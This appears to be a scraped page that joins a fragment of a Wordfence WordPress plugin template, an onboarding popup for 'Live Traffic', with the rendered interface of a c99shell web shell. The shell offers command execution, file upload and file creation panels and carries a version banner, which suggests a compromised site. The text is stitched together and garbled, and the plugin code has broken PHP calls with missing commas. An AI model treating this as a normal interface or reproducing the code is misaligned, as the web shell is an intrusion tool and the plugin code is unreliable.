                if (!WFAD.isSmallScreen) { WFAD.tour1(); }
                <?php endif; ?>
            });
        })(jQuery);
    </script>

    <script type="text/x-jquery-template" id="wfUpgradeTour1">
        <div>
            <h3><?php _e('Live Traffic''wordfence'); ?></h3>
            <p><?php _e('Live traffic now defaults to a summary view. Details are viewable by clicking anywhere within the summary record. To switch to the expanded view, click the <strong>Expand All Records</strong> switch.''wordfence'); ?></p>
            <div class="wf-pointer-footer">
                <ul class="wf-tour-pagination">
                    <li class="wf-active">&bullet;</li>
                </ul>
                <div id="wf-tour-continue"><a href="#" class="wf-onboarding-btn wf-onboarding-btn-primary"><?php _e('Got it''wordfence'); ?></a></div>
            </div>
            <div id="wf-tour-close"><a href="#"><i class="wf-fa wf-fa-times-circle" aria-hidden="true"></i></a></div>
        </div>
    </script>
<?php endif; ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0087 ]--